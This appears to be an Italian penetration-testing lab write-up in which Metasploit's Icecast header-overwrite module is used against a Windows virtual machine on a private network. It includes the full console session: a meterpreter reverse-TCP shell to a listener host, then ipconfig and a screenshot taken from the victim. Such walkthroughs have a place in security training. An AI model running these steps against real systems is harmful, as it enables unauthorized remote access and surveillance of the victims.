

# Hacking Windows

Iniziamo avviando Metasploit con il comando 'msfconsole', dopodiché cerchiamo la vulnerabilità data Icecast con il comando 'search' e la carichiamo utilizzando il comando 'use'. Entriamo nelle opzioni con il comando 'options' per vedere cosa serve configurare, in questo caso RHOSTS.

```
msf6 > search icecast

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/http/icecast_header  2004-09-28      great No     Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

Name      Current Setting  Required  Description
-      -
RHOSTS    192.168.50.103  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port
```

Configuriamo il RHOSTS con l'IP della macchina Windows attraverso il comando 'set RHOSTS' e procediamo con l'exploit.

```
msf6 exploit(windows/http/icecast_header) > set rhosts 192.168.50.103
rhosts => 192.168.50.103
msf6 exploit(windows/http/icecast_header) > exploit
```

Una volta dentro la sessione di meterpreter, usiamo il comando 'ipconfig' per visualizzare l'indirizzo IP della vittima, dopodiché salviamo uno screenshot con il comando 'screenshot'.

```
meterpreter > ipconfig
```

```
Interface 1
```

```
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

```
Interface 3
```

```
Name : Microsoft ISATAP Adapter #2
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : fe80::5efe:c0a8:3267
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

```
Interface 4
```

```
Name : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:5f:ac:a6
MTU : 1500
IPv4 Address : 192.168.50.103
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::385a:f9ac:61ed:c18
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

```
Interface 5
```

```
Name : Microsoft Teredo Tunneling Adapter
Hardware MAC : 00:00:00:00:00:00
MTU : 1280
IPv6 Address : 2001:0:2851:782c:3463:30e5:68c3:7761
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::3463:30e5:68c3:7761
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

```
meterpreter > screenshot
```

```
Screenshot saved to: /home/kali/hOSEsW0i.jpeg
```

```
meterpreter > █
```